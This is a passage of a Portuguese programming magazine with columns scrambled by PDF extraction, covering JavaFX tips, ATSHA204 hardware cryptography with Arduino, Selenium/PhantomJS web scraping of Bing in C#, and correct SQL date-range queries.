vai ser utilizado o VBox como Pane.
Quando se clicar no boto, aparece uma janela a dizer
Hello <Nome>.

@Override
public void start(Stage primaryStage)
throws Exception {
this.primaryStage= primaryStage;
// Stage Title
primaryStage.setTitle("Hello ....");
// Begin Scene1 definition
Label helloLabel = setLabel1();
setTextField1();
Button helloButton = setButton1();
setScene1(helloLabel, helloButton);
// End Scene1 definition
// Begin Scene2 definition
setLabel2();
Button helloButton2 =getButton2();

43
A PROGRAMAR
JAVAFX : UMA BREVE INTRODUO
Tips and Tricks Para sair da aplicao basta em qualquer altura invo-
car:
Esta breve introduo apenas abre a porta para um
grande mundo no JavaFX, mas deixo algumas recomendaes Platform.exit();
que a longo prazo poupam tempo e pacincia J No entanto, ocorre frequentemente a necessidade de
efetuar trabalho antes de sair da aplicao (ex: fechar
Design First Write After
ligaes base de dados). Recomenda-se a fazer override
Um dos maiores desafios colocar os controlos onde do mtodo:
queremos. Recomendo que se desenhe a aplicao num for- Application.stop();
mato fsico e se identifique quais so os Panes e controlos que
so precisos para ficar de acordo com o que se pretende
E neste mtodo realizar as tarefas de cleanup.
Naming Convention
Concluso
Adotar uma conveno para os nomes dos controlos.
A transio de quem j conhece Java Swing pacifi-
Recomendo a Hungarian Notation, em que o nome da varivel
ca e para quem no conhece, so apenas uns breves instan-
contem o tipo de dados a que se refere. No exemplo anterior:
tes at perceber como as coisas funcionam.
Button helloButton;
JavaFX tem mais componentes e mais verstil que
Ao longo da implementao sabe-se sempre qual o Java Swing, mas nem por isso mais complicado, muito
que o helloButton. pelo contrrio. Acaba por ser bastante intuitivo.
Define the IDs Existem mais temas interessantes a falar de mbito
mais avanado, que ficar para o prximo artigo.
Em todos os controlos criados, fazer set do seu ID.
Sugiro que se use o mesmo nome da varivel que se esta a
usar uma vez que s por si j garante univocidade.
At breve.
Ao longo do cdigo pode-se obter o controlo da
seguinte forma:
Repositrio
Scene scene = primaryStage.getScene();
Node nodeToFind = scene.lookup("#nodeToFindId"); https://gitlab.com/masterzdran/pap-javafx/tree/master

de notar o cardinal, obrigatrio para mapear os con-


trolos. Referncias
De uma forma simples consegue-se obter os controlos e https://docs.oracle.com/javase/8/javafx/user-
qual o tipo do controlo que ser devolvido. interface-tutorial/
Log your actions
https://docs.oracle.com/javase/8/javafx/api/
Para efeitos de demonstrao pode-se escrever na con-
sola ou mesmo na interface grfica, mas recomenda-se que se https://docs.oracle.com/javase/8/javafx/get-
utilize um Logger para registar todas as aes que se fazem e started-tutorial/
registar as excees quando aparecem. http://docs.oracle.com/javase/8/javafx/layout-
Isto traz duas vantagens: tutorial/index.html

As excees so apanhadas http://code.makery.ch/library/javafx-8-tutorial/

Sabe-se a sequencia de passos que originou essa ex- https://www.youtube.com/watch?


ceo. v=FLkOX4Eez6o&list=PL6gx4Cwl9DGBzfXLW
LSYVy8EbTdpGbUIG
Clean Exit from your Application

AUTOR
Escrito por Nuno Cancelo

Curioso por natureza e engenheiro informtico por formao. Desde muito cedo me despertou o interes-
se pelos computadores e informtica com o famoso Spectrum. Tenho um gosto peculiar por aprender
novas coisas frequentemente mesmo que no venha a trabalhar com elas e optimizar os sistemas au-
mentando a sua performance.

44
ELECTRNICA
Criptografia e segurana por hardware com Arduino/Genuino ou outros
sistemas por I2C
Electrnica
CRIPTOGRAFIA E SEGURANA POR HARDWARE COM ARDUINO/GENUINO

OU OUTROS SISTEMAS POR I2C


um condensador de 0.1uF e uma resistncia de 100kohm,
Introduo ao problema
mas em formato smd.
Cada vez mais se lem notcias sobre os perigos da
internet das coisas, desde um ataque massivo de negao de
servio distribuda (Distributed Denial of Service) que excedeu
larguras de banda de 799Gbps, at botnets de dispositivos IoT,
etc
Uma das preocupaes de quem desenvolve produtos
IoT, sejam software, hardware ou ambos, acaba por ser a se-
gurana desses dispositivos, e at que ponto a segurana por
software suficiente num dispositivo que pode controlar por
exemplo, um sistema de alarme, ou o controlo de aquecimento,
etc
Existem diversos vectores de ataque a dispositivos
Esquema de circuito para breakout board com
IoT, desde realizar dump da memria flash, usando por exem-
ATSHA204.
plo o Bus Pirate, at crackear os hashs usando por exemplo
cudaHashcat, recorrendo velhinha mas sempre presente A comunicao entre o arduino e o ATSHA204
consola UART, ou fazendo um dump da memria usando o relativamente simples e como j referi, recorre ao barramen-
GDB e ligao JTAG, anlise de trfego, etc etc etc.. O to I2C (Inter-Integrated Circuit) que neste momento se encon-
detalhar de todas as formas, sai completamente do mbito tra na verso 6. O I2C um barramento srie, multi-mestre,
deste artigo. multi-escravo, desenvolvido pela Philips e usado para ligar
perifricos de baixa velocidade a outros circuitos por exem-
Outra hiptese que gostaria de mencionar o uso de
plo microcontroladores ou microprocessadores, etc... Este
perifricos trapaceiros, no autorizados rogue devices, que
protocolo utiliza duas linhas bidirecionais open-drain, desig-
at podem ser extremamente semelhantes aos verdadeiros,
nadas por SDA (Serial Data Line) e SCL (Serial Clock Line),
mas adulterados para realizarem tarefas hostis, como inter-
tipicamente a trabalharem a +5v ou a +3.3v apesar de permi-
ceptar trfego, adulterar o funcionamento do dispositivo,
tirem outras voltagens. De igual modo permite endereamen-
injectar malware, entre tantas outras possibilidades, so um
to tanto dos mestres como dos escravos (slaves), cujo tama-
verdadeiro perigo, para o dispositivo, ou soluo!
nho varia entre os 7 e os 10bits. As velocidades de comuni-
cao mais comuns situam-se entre os 10kbit/segundo e os
100kbits/segundo o que para a comunicao de dados entre
Apresentao do hardware
circuitos por norma suficiente. Nas verses mais recentes
Existem diversas formas de contrariar os ataques e de do I2C foram introduzidos novos modos de comunicao com
evitar o seu sucesso, mas no caso apenas pretendo demons- velocidades entre os 400kbits/segundo e os 3.4Mbits/
trar uma que gosto de usar, para reforar a segurana dos segundo (modo High Speed), que so os modos mais co-
projectos que fao. Trata-se do uso de circuitos que disponibili- mummente utilizados em sistemas embarcados (embeded),
zam criptografia por hardware, como o caso dos da srie mas mais raros em computadores pessoais.
ATSHA204 e ATAES132A, que irei usar no exemplo deste
A comunicao recorrendo a I2C bastante mais
artigo.
complexa que a UART ou SPI, no entanto tem as suas van-
Ao longo do artigo vou apresentar apenas o tagens relativamente a estas duas alternativas. Felizmente o
ATSHA204, ligado a um arduino, que como creio que o leitor hardware realiza uma parte substancial das tarefas de baixo
saiba, na verso Uno usa um AVR ATMega 328. O circuito nvel libertando o programador para as tarefas que lhe so
ser ligado por protocolo I2C ao arduino e faremos algumas mais familiares.
das tarefas mais simples que se podem realizar recorrendo a
Este protocolo funciona dividindo as mensagens em
este tipo de circuitos!
dois tipos de frame:
No creio que exista neste momento algum shield
comercialmente disponvel, no entanto existe um em open- Frame de endereo - onde o circuito mestre indica a
hardware, disponibilizando tanto o diagrama como os ficheiros que circuito escravo a mensagem ser enviada
Eagle, o que facilita bastante a integrao do chip nos nossos
Frame de dados - Pode ser uma ou mais frames, que
projectos bem como a produo de circuitos baseados no shi-
so compostas por mensagens de 8 bits passadas do
eld, alm de podermos utilizar o circuito integrado em projectos
mestre para o escravo ou vice-versa
nossos independentemente do shield, que no mais tem que

47
Electrnica
CRIPTOGRAFIA E SEGURANA POR HARDWARE COM ARDUINO/GENUINO OU OUTROS SISTEMAS POR I2C

Os dados so colocados na linha SDA logo aps o e 512 bits para informao fixa OTP. Mas nem tudo so
estado da linha SCL se mudar de alto (high) para baixo (low). prs, tambm existem uns quantos contras, e um deles a
O tempo entre a alterao do estado da linha SCL e a trans- necessidade de pr-programar chaves no circuito, caso se
misso dos dados na linha SDA definido pelos circuitos e pretenda usar para autenticao. Nesse caso existem outros
varia de circuito para circuito. circuitos semelhantes que servem o mesmo propsito e fun-
cionam de forma semelhante.
Como j referido a simplicidade deste circuito e as
suas funcionalidades, tornam fcil a utilizao deste tipo de
soluo para diversos projectos de IoT, como por exemplo
apenas aceitar perifricos verdadeiros, num determinado
IMG.1 circuito, ou implementar.
Para ser iniciada uma comunicao, tem de ser valida- Um problema simples e a soluo
da a condio de inicio (Start Condition), onde o circuito Master
No caso deste exemplo, para o efeito deste artigo
mantem a linha SCL em estado alto (high) e coloca a linha
apenas iremos realizar um pedido desafio resposta, para
DAS em estado baixo (low) deixando todos os circuitos escra-
verificar se um determinado acessrio novo, ligado ao nosso
vos (slave) em estado de escuta para uma transmisso de
circuito verdadeiro ou no. Para isso iremos iniciar uma
dados que ir iniciar e de seguida inicia a transmisso tem
comunicao com o circuito, enviar o desafio e receber a
inicio. Caso existam mais do que um dispositivo mestre
resposta.
(master) na mesma linha fsica e ambos pretendam iniciar uma
transmisso em simultneo, aquele que colocar a linha SDA /* Exemplo de uso de ATSHA204
em baixo (low) primeiro, o que toma o controlo do barramen- Revista PROGRAMAR, edio 54
to, quase como numa corrida, primeiro a chegar aquele que by: Sleep Deprived Loon
*/
manda. Uma vez estando no controlo do barramento, pode
iniciar a transmisso e proceder a novas transmisses de da- #include <sha204_library.h>
dos sem ter de perder o controlo do barramento ou iniciar uma
nova corrida, para ganhar controlo do barramento. const int sha204Pin = 7;

A frame (moldura) de endereo a primeira a ser trans- atsha204Class sha204(sha204Pin);


mitida em qualquer nova sequncia de comunicao. No caso void setup()
dos endereos de 7 bits o bit mais significativo (MSB) o pri- {
meiro a ser transmitido, seguido de um bit de leitura/escrita, ChallengePROGRAMAR();
}
indicando se a operao ser uma operao de leitura (bit 1)
ou de escrita (bit 0). O 9 bit da frame o NACK/ACK indicando void loop()
respetivamente se a transmisso foi bem recebida, ou no-bem {
recebida. }

As frames de dados (data frames) so transmitidas logo byte ChallengePROGRAMAR()


{
aps a transmisso da frame de endereo, sendo o mestre a uint8_t command[MAC_COUNT_LONG];
transmitir consecutivamente os dados e a gerar impulsosde uint8_t response[MAC_RSP_SIZE];
clock em intervalos regulares. Os dados vo sendo colocados
const uint8_t challenge[MAC_CHALLENGE_SIZE] = {
na linha SDA quer seja pelo mestre quer seja pelo escravo de 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66,
acordo com o tipo de operao que esteja a ocorrer, conforme 0x77, 0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE,
seja de leitura ou escrita. 0xFF, 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66,
0x77, 0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE,
Tal como nos outros barramentos de srie, existe uma 0xFF };
condio de paragem. Neste caso a condio de paragem ser uint8_t ret_code = sha204.sha204m_execute
(SHA204_MAC, 0, 0, MAC_CHALLENGE_SIZE,
gerada pelo dispositivo mestre, assim que todas as frames de (uint8_t *) challenge, 0, NULL, 0, NULL,
dados tenham sido enviadas. sizeof(command), &command[0],
sizeof(response), &response[0]);
return ret_code;
}
Existem ainda alguns tpicos mais avanados sobre o
barramento I2C, que ficaro para um prximo artigo.
Algo que me querido por assim dizer e um pro-
De volta ao tema inicial, o objetivo utilizar um circuito
blema algo comum a gerao de nmeros aleatrios para
com capacidades de criptografia por hardware, neste caso o
os diversos efeitos. Neste caso em vez de recorrermos a
ATSHA204, que de entre as funcionalidades disponibilizadas
clculos e variveis para o fazer, uma vez que o circuito dis-
eu gostaria de destacar as seguintes capacidades: gerar
ponibiliza a capacidade para o fazer, recorremos diretamente
hashes SHA-256 com opo HMAC, armazenamento de at 16
ao circuito enviado o op_code e os dois parmetros respeti-
chaves, gerador de nmeros pseudo-aleatrios interno,
vos nomeadamente o modo, e um valor zero (0x0000). O
4.5kbits de EEPROM para armazenamento de chaves e dados

48
Electrnica
CRIPTOGRAFIA E SEGURANA POR HARDWARE COM ARDUINO/GENUINO OU OUTROS SISTEMAS POR I2C

modo pode varear entre zero (0x0000) e um (0x0001), sendo


que o zero significa que a semente usada para gerar o nmero byte randomPROGRAMAR()
ser automaticamente atualizada, antes da gerao do nmero {
uint8_t command[RANDOM_COUNT];
aleatrio em caso de necessidade e um (0x0001) significa que uint8_t response[RANDOM_RSP_SIZE];
ir gerar um nmero aleatrio recorrendo semente existente
na EEPROM sem efetuar nenhum tipo de atualizao. Como
todo sabemos, este modo deve ser evitado, por razes de se- //SHA204_MAC
uint8_t ret_code = sha204.sha204m_execute
gurana. (SHA204_RANDOM, 0, 0, NULL,
NULL, 0, NULL, 0, NULL, sizeof
/* (command), &command[0],
Exemplo de uso de ATSHA204 sizeof(response), &response[0]);
para gerar numeros aleatrios return ret_code;
Revista PROGRAMAR, edio 54 }
by: Sleep Deprived Loon
*/

#include <sha204_library.h> Existem diversas outras funcionalidades no circuito


que podem ser utilizadas, mas dada a limitao de tempo de
const int sha204Pin = 7; redao deste artigo, no foi possvel incluir cdigo de todas.
atsha204Class sha204(sha204Pin); Concluso
void setup() A segurana ter sempre um papel fundamental na
{
randomPROGRAMAR(); Internet das Coisas e futuramente na internet de todas as
} coisas (Internet of Everything).O uso de segurana por hard-
ware, apesar de ser imensamente conhecido, tende a ser um
void loop()
{ pouco descorado, principalmente na prototipagem rpida, no
} entanto pode-se revelar de interesse quando se planeia um
produto final. Afinal a segurana num sistema, nunca em
demasia!

AUTOR
Escrito por Antnio C. Santos

Apaixonado por tecnologia, autodidata desde tenra idade. Cresceu com o ZX Spectrum 48k. Com mais
de 20 anos de experincia em implementao e integrao de sistemas e desenvolvimento de software
por medida nas mais diversas linguagens. Formou-se no Instituto Politcnico de Viana do Castelo. Mem-
bro da Comunidade Portugal-a-Programar desde Agosto de 2007, tambm membro da Sahana Softwa-
re Foundation, onde Programador Voluntrio desde 2012. Twitter:@apocsantos

49
COLUNAS
C# - Interagindo com pginas web
Kernel Panic - WebSummit Lisboa 2016
C#
INTERAGINDO COM PGINAS WEB COM C#

Interagindo com pginas web com C#

Introduo driver.Navigate().GoToUrl("http://
www.bing.com");
Algumas vezes necessitamos que o nosso programa }
interaja com uma pgina web, seja para obter alguma
Notemos que o Selenium usa o conceito de driver
informao ou para testar o seu funcionamento. Normalmente,
para o browser. Podemos mudar o browser que ser utiliza-
isto pode ser feito interagindo com o contedo da pgina,
do atravs de um novo driver (como por exemplo, FirefoxDri-
usando a API DOM (Document Object Model representao
ver). No nosso programa, usamos o browser Edge, do Win-
dos objetos da pgina em forma de rvore) e obter informaes
dows 10.
ou interagir com a pgina (preenchendo caixas de texto ou
clicando em botes pelo programa). Ao executar o programa e clicar no boto, vamos
obter um erro:
Isto, alm de ser difcil e sujeito a erros, pode ter de
funcionar de maneira diferente nos vrios browsers. Uma
maneira mais simples de fazer isto, alm de ser compatvel
com a maioria dos browsers usar uma ferramenta open
source, chamada Selenium (http://www.seleniumhq.org/).
Neste artigo, iremos mostrar como usar o Selenium para
interagir com o Google, fazer uma pesquisa e mostrar os
resultados numa Listbox WPF.
Introduo ao Selenium
O Selenium uma ferramenta open source para
automatizar os web browsers, disponvel para muitas
plataformas e diversos browsers. Podemos us-la com vrias
linguagens, como C#, Java, Python ou Haskell. Uma utilizao
muito comum deste tipo de framework para testes de
interfaces web. Podemos criar testes unitrios que interagem
com uma pgina web e verificar se o resultado o desejado. Este erro devido ao fato de que o programa
Para isso, podemos integrar o Selenium com o Nunit e criar os MicrosoftWebDriver.exe no foi encontrado no caminho do
seus testes de interface com ele. executvel. Este programa necessrio para automatizar o
Edge. Conforme mostrado na mensagem, baixamos o
Para us-lo nas aplicaes no Visual Studio, podemos MicrosoftWebDriver.exe para a nossa verso do Edge em
instalar a documentao, as bibliotecas e os drivers para os http://go.microsoft.com/fwlink/?LinkId=619687. Aps
browsers em http://selenium- baixarmos o programa, colocamos o executvel no mesmo
release.storage.googleapis.com/2.51/selenium-dotnet- diretrio do executvel gerado pelo projeto e executamos
2.51.0.zip, mas a maneira mais fcil de us-lo usando o novamente o programa. Desta vez, ao clicarmos no boto, o
NuGet para instal-lo no projeto em causa. programa deve abrir o Edge e abrir a pgina do Bing.
Criamos um novo projeto WPF e, no Solution Explorer,
clicamos com o boto direito do rato sobre References e
selecionamos Manage NuGet Packages. Vamos a Browse e
selecionamos os pacotes Selenium.WebDriver e
Selenium.WebDriver.Support e clicamos em Install. Isto ir
instalar o Selenium na nossa aplicao.
Colocamos um boto na janela principal da aplicao:

<Grid>
<Button Content="Abre Bing" Width="85"
Height="35" Click="AbreBingClick"/>
</Grid>

O evento Click do boto o seguinte:

private void AbreBingClick(object sender,


RoutedEventArgs e)
{
var driver = new EdgeDriver();

51
C#
INTERAGINDO COM PGINAS WEB COM C#

Interagindo com as pginas do Bing nossa listbox. Para isso, podemos usar as ferramentas de
anlise de pgina do Edge, apertando a tecla F12. Com isso,
At aqui, tudo o que fizemos foi controlar o Edge, mas
vemos que cada resultado um li com classe b_algo. Dentro
queremos fazer mais queremos interagir com a pgina, fazer
deste li, temos um h2 e um a, com o endereo do resultado e
a pesquisa e obter as respostas. Para isso, devemos
o texto apresentado.
incrementar nosso programa:
Abaixo do ttulo, temos um div com classe b_caption,
private void AbreBingClick(object sender, com o contedo dentro de um p. Com estes dados, podemos
RoutedEventArgs e)
{ obter os resultados para colocar na nossa aplicao.
var driver = new EdgeDriver();
driver.Navigate().GoToUrl("http://
www.bing.com");
var query = driver.FindElementByName("q");
query.SendKeys("Windows 10 UWP Tutorials");
query.Submit();
var wait = new WebDriverWait(driver,
TimeSpan.FromSeconds(10));
wait.Until(d => d.Title.StartsWith("Windows
10", StringComparison.OrdinalIgnoreCase));
}

Agora abrimos o browser, encontramos a caixa de texto


para fazer a pergunta, digitamos a pergunta e esperamos a
resposta. Quando a resposta chega, o programa terminado.
O prximo passo colocar os resultados no nosso programa.
Obtendo os resultados e colocando numa Listbox private void PesquisaClick(object sender,
RoutedEventArgs e)
Para colocar os resultados da pesquisa no nosso {
var driver = new EdgeDriver();
programa, devemos mudar a interface do utilizador para: driver.Navigate().GoToUrl("http://
www.bing.com");
<Grid> var query = driver.FindElementByName("q");
<Grid.RowDefinitions> query.SendKeys(TextoPesquisa.Text);
<RowDefinition Height="40"/> query.Submit();
<RowDefinition Height="*"/> var wait = new WebDriverWait(driver,
</Grid.RowDefinitions> TimeSpan.FromSeconds(10));
<StackPanel Orientation="Horizontal"> wait.Until(d => ((IJavaScriptExecutor)d)
<TextBox Width="300" Margin="5" .ExecuteScript("return
x:Name="TextoPesquisa" document.readyState")
VerticalContentAlignment="Center"/> .Equals("complete"));
<Button Content="Pesquisa" Width="85" var resultados =
Click="PesquisaClick" Margin="5"/> driver.FindElementsByCssSelector("#b_results
</StackPanel> li.b_algo");
<ListBox Grid.Row="1" Margin="5" Resultados.ItemsSource = resultados.Select
x:Name="Resultados"/> (r => new
</Grid> {
Endereco = r.FindElement(By.CssSelector
("h2 a")).GetAttribute("href"),
O cdigo de pesquisa muito semelhante ao anterior, Titulo = r.FindElement(
By.CssSelector("h2 a")).Text,
apenas substitumos a pesquisa fixa pelo texto de entrada na Descricao = r.FindElement(By.CssSelector
caixa de texto: ("div.b_caption p")).Text});
}
private void PesquisaClick(object sender,
RoutedEventArgs e) Pegamos os resultados da pgina e adicionamos a
{
var driver = new EdgeDriver(); uma lista, criando uma classe annima com os dados de
driver.Navigate().GoToUrl("http:// cada resultado. Ao executar o programa, temos um resultado
www.bing.com"); como o seguinte:
var query = driver.FindElementByName("q");
query.SendKeys(TextoPesquisa.Text);
query.Submit();
var wait = new WebDriverWait(driver,
TimeSpan.FromSeconds(10));
wait.Until(d => d.Title.StartsWith
(TextoPesquisa.Text,
StringComparison.OrdinalIgnoreCase));
}

Devemos agora obter os resultados para p-los na

52
C#
INTERAGINDO COM PGINAS WEB COM C#

Podemos melhorar esta apresentao com o template Este cdigo abre o browser padro do sistema com o
para os itens da lista: link relativo quele resultado. Como podemos ver, obtivmos
apenas os primeiros 10 resultados, que o que a pesquisa
retorna. Para mostrarmos tambm os resultados seguintes,
<ListBox Grid.Row="1" Margin="5"
devemos clicar no boto para mostrar a prxima pgina. Isto
x:Name="Resultados"
HorizontalContentAlignment="Stretch" feito com o seguinte cdigo:
ScrollViewer.
HorizontalScrollBarVisibility="Disabled">
<ListBox.ItemTemplate> private IWebDriver _driver;

<DataTemplate> private void PesquisaClick(object sender,


<StackPanel> RoutedEventArgs e)
{
<TextBlock> _driver = new EdgeDriver();
_driver.Navigate().GoToUrl("http://
<Hyperlink www.bing.com");
NavigateUri="{Binding Endereco}" var query = _driver.FindElement(By.Name("q"));
RequestNavigate= query.SendKeys(TextoPesquisa.Text);
"NavegaEndereco"> query.Submit();
<TextBlock var wait = new WebDriverWait(_driver,
Text="{Binding Titulo}" FontWeight="Bold" TimeSpan.FromSeconds(10));
TextTrimming= wait.Until(d => ((IJavaScriptExecutor)d)
"CharacterEllipsis"/> .ExecuteScript("return document.readyState")
</Hyperlink> .Equals("complete"));

</TextBlock> var listaResultados = ObtemResultados();


var botaoProximo = _driver.FindElement
<TextBlock Text="{Binding (By.CssSelector(
Descricao}" TextWrapping="Wrap"/> "#b_results li.b_pag nav li a.sb_pagN"));
</StackPanel> botaoProximo?.Click();
</DataTemplate> wait.Until(d => ((IJavaScriptExecutor)d)
</ListBox.ItemTemplate> .ExecuteScript("return document.readyState")
</ListBox> .Equals("complete"));
listaResultados.AddRange(ObtemResultados());
Resultados.ItemsSource = listaResultados;
}
Colocamos um ItemTemplate para apresentar um
Hyperlink com o ttulo na primeira linha e a descrio do private List<Resultado> ObtemResultados()
resultado nas linhas seguintes. Quando executamos o {
var resultados = _driver.FindElements
programa, voc obtemos uma tela semelhante seguinte: (By.CssSelector(
"#b_results li.b_algo"));
return resultados.Select(r => new Resultado
{
Endereco = r.FindElement(By.CssSelector
("h2 a")).GetAttribute("href"),
Titulo = r.FindElement(By.CssSelector("h2
a")).Text,
Descricao = r.FindElement(By.CssSelector
("div.b_caption p")).Text
}).ToList();

}
O programa clica no boto para a prxima pgina e
espera que pgina carregue. Em seguida, adiciona os
resultados lista. Para isso, criamos uma nova classe,
Resultado, que ir armazenar os resultados:

internal class Resultado


{
public string Endereco { get; set; }
public string Titulo { get; set; }
public string Descricao { get; set; }
Quando clicamos num ttulo o cdigo de }
NavegaEndereco executado:
private void NavegaEndereco(object sender,
RequestNavigateEventArgs e) Agora, se executarmos o programa, veremos que o
{ ecr mostra 20 resultados. Se clicarmos no boto de
Process.Start(new ProcessStartInfo pesquisa novamente, veremos que ocorre um erro:
(e.Uri.AbsoluteUri));
e.Handled = true; Unexpected error. Unknown error. Isto deve-se ao fato de
}

53
C#
INTERAGINDO COM PGINAS WEB COM C#

no fecharmos o driver aps a pesquisa. Isto feito usando {


uma clusula using: driver.Navigate().GoToUrl("http://
www.bing.com");
private void PesquisaClick(object sender, var query = driver.FindElement(By.Name
RoutedEventArgs e) ("q"));
{ query.SendKeys(TextoPesquisa.Text);
using (driver = new EdgeDriver()) query.Submit();
{ var wait = new WebDriverWait(driver,
driver.Navigate().GoToUrl("http:// TimeSpan.FromSeconds(10));
www.bing.com"); wait.Until(d => ((IJavaScriptExecutor) d)
var query = driver.FindElement(By.Name .ExecuteScript("return
("q")); document.readyState")
query.SendKeys(TextoPesquisa.Text); .Equals("complete"));
query.Submit();
var wait = new WebDriverWait(driver, var listaResultados = ObtemResultados
TimeSpan.FromSeconds(10)); (driver);
wait.Until(d => ((IJavaScriptExecutor) d) var botaoProximo = driver.FindElement
.ExecuteScript("return (By.CssSelector(
document.readyState") "#b_results li.b_pag nav li
.Equals("complete")); a.sb_pagN"));
botaoProximo?.Click();
var listaResultados = ObtemResultados wait.Until(d => ((IJavaScriptExecutor) d)
(driver); .ExecuteScript("return
var botaoProximo = driver.FindElement document.readyState")
(By.CssSelector("#b_results li.b_pag nav li .Equals("complete"));
a.sb_pagN")); listaResultados.AddRange(ObtemResultados
botaoProximo?.Click(); (driver));
wait.Until(d => ((IJavaScriptExecutor) d) Resultados.ItemsSource = listaResultados;
.ExecuteScript("return
document.readyState") }
.Equals("complete"));
listaResultados.AddRange(ObtemResultados }
(driver));
Resultados.ItemsSource = listaResultados; Com esta pequena mudana, passamos a chamar o
} PhantomJs e no dependemos mais de algum browser
}
instalado na mquina. Ao executar o programa, podemos ver
os mesmos resultados, mas a janela do PhantomJs continua
Com isso, aps a pesquisa, a janela do driver e o
a ser aberta. Para eliminar esta janela, devemos mudar um
browser so fechados, permitindo novas pesquisas. Podemos
pouco a configurao do driver:
ainda melhorar nosso programa, fazendo com que o browser
no aparea na pesquisa. private void PesquisaClick(object sender,
RoutedEventArgs e)
Fazendo pesquisas sem mostrar o browser {
var driverService =
A nossa soluo atual tem dois inconvenientes: por PhantomJSDriverService.CreateDefaultService();
estarmos a usar o EdgeDriver, obrigamos o utilizador a ter o driverService.HideCommandPromptWindow = true;
browser Edge instalado na mquina, o que nem sempre
using (driver = new PhantomJSDriver
possvel. Alm disso, ao executar o programa, so abertas (driverService))
duas janelas, do driver e do browser, o que, sem dvida, no {
o ideal. driver.Navigate().GoToUrl("http://
www.bing.com");
Para evitar que o utilizador tenha que ter um
determinado browser instalado na mquina, iremos usar um //
}
browser independente, que pode ser levado juntamente com o }
programa. Para isso escolhemos o PhantomJs, um browser
muito leve, sem visualizao, que permite receber e renderizar
Com esta mudana, a janela do PhantomJs no
as pginas, sem as mostrar. Alm disso, ele apenas um
aparece mais e todo o processamento mostrado na nossa
executvel que pode ser colocado junto do programa.
aplicao.
Podemos baix-lo em http://phantomjs.org e colocar o
executvel phantomjs.exe no mesmo diretrio do executvel Concluses
da nossa aplicao.
Neste artigo, mostramos como usar o Selenium para
Em seguida, mudamos o programa para chamar o automatizar o browser e obter dados de pginas Web, para
driver do PhantomJs: incluir nas nossas aplicaes. Este um uso um pouco
incomum para o Selenium, que normalmente usado para
private void PesquisaClick(object sender, elaborar testes automatizados de pginas Web, mas vimos
RoutedEventArgs e)
{ aqui que ele tambm se presta bem tarefa de web
using (driver = new PhantomJSDriver()) scraping. Com o auxlio do PhantomJs, podemos ter uma

54
C#
INTERAGINDO COM PGINAS WEB COM C#

operao mais leve e independente do browser instalado na O que fizemos neste artigo poderia ser feito usando a API do
mquina. Bing para fazer as pesquisas, de modo mais simples, mas isto
um tema para um outro artigo, at l!
O cdigo fonte para este artigo est em https://
github.com/bsonnino/SeleniumCSharp
O Selenium uma
ferramenta open source
para automatizar os
web browsers, dispon-
vel para muitas platafor-
mas e diversos
browsers

AUTOR
Escrito por Bruno Sonnino

55
SQL Curtas
SQL Curtas #1: Intervalos de datas

Um dos problemas mais habituais em programao for especificada, corresponde a 00:00:00 (meia noite). Ora,
SQL pedir dados que aconteam no intervalo de duas datas. ao indicar "menor ou igual a 2016-12-31", estamos na reali-
O tipo de dados dos campos de data/hora variam conforme o dade a dizer para incluir o segundo 00:00:00 do dia 31, mas
SGBD (DATE, TIME, DATETIME, DATETIME2, SMALLDATE- excluir os outros 23h59m59s desse dia. Assim, o BETWEEN
TIME, etc.), mas o problema descrito em baixo semelhante no serve para datas e esta no uma soluo vlida.
em todos.
Soluo 3:
Problema: Necessito dos registos cujo campo CampoData
SELECT [...] FROM [...] WHERE CampoData >= '2016
est no intervalo 2016-01-01 (inclusive) a 2016-12-31 -01-01' AND CampoData < '2017-01-01';
(inclusive).
-- Soluo geral!
Soluo 1:
E finalmente temos a resposta correcta. Ateno ao
SELECT [...] FROM [...] WHERE YEAR(CampoData) = "maior e igual" primeira data, e ao "menor" (mas no igual)
2016; ao dia seguinte segunda data. Assim, queremos tudo o
que aconteceu "at" (mas no incluindo) o dia 2017-0101
Funciona, mas... 00:00:00, ou seja, tudo at (inclusive) 2016-1231
23:59:59,999999(9)...
Esta uma forma fcil (dado tratar-se do ano 2016 intei-
ro), mas infelizmente a maioria dos intervalos no correspon- Compatibilidade:
dem a anos de calendrio (ou a meses, acrescentando o
MONTH() condio, por exemplo). Temos ento que encon- SGBD: SQL Server; Oracle; MySQL/MariaDB; Outros;
trar uma soluo melhor para qualquer intervalo de datas.
Nota 1: Em algums SGBD o BETWEEN tem compor-
Soluo 2: tamento diferente do indicado, pelo que deve ser evi-
tado;
SELECT [...] FROM [...] WHERE CampoData BETWEEN
'2016-01-01' AND '2016-12-31'; Nota 2: A representao das datas nas queries (neste
caso 'AAAA-MM-DD') poder variar conforme a confi-
No funciona como queremos... gurao regional do SGBD, e para efeitos de exemplo
Ser que esta funciona? Bem, na maioria dos casos assume converso implcita, que nem sempre funcio-
no. Porqu? Primeiro temos que perceber como funciona na.
exactamente o BETWEEN: Documentao:

SELECT [...] FROM [...] WHERE Quantidade BETWEEN 10 SQL Server - https://msdn.microsoft.com/en-us/
AND 20; library/ms187752.aspx#Date-and-Time

Este exemplo retorna valores sempre que a Quantidade Oracle https://docs.oracle.com/cd/B28359_01/


for "maior ou igual a 10" e "menor ou igual a 20", o que para server.111/b28318/datatype.htm#CNCPT1842
inteiros funciona como esperado. Mas se for com datas? Vol-
tando ao exemplo anterior, pedir "maior ou igual a 2016-01-01" MySQL/MariaDB http://dev.mysql.com/doc/
o que precisamos, mas pedir "menor ou igual a 2016-12-31" refman/5.7/en/date-and-time-types.html
d um efeito inesperado.
Quando registamos uma data (e.g. 2016-12-31) esta
ter sempre que ter associada uma determinada hora. Se no

AUTOR
Escrito por Andr Melancia

Independent Developer/DBA/Consultant. Microsoft Certified Trainer (MCT) focusing on SQL Server, Azu-
re and IoT. 17+ years' fun developing information and multimedia systems, DBA, project and IT manage-
ment. PowerShell Portugal, IT Pro Portugal and IoT Portugal communities organiser. IPv6 Por-
tugal, DNSSec Portugal and Windows Development Portugal online communities moderator. Actively
volunteering, organising, speaking or just participating at community meetings and events like SQLSatur-
days, SQLBits, SQLRelay, Maker Faire Lisbon, Arduino/Genuino Day Lisbon, Global Azure Bootcamp
Lisbon, etc. Proud uncle and food devouring expert, with dangerous ussy cat as companion.

Go to http://Andy.PT and you'll know the same as the NSA...

56
Kernel Panic
WEBSUMMIT LISBOA 2016

Como no podia deixar de ser, nesta edio resolvemos E creio poder afirmar, que todos os participantes
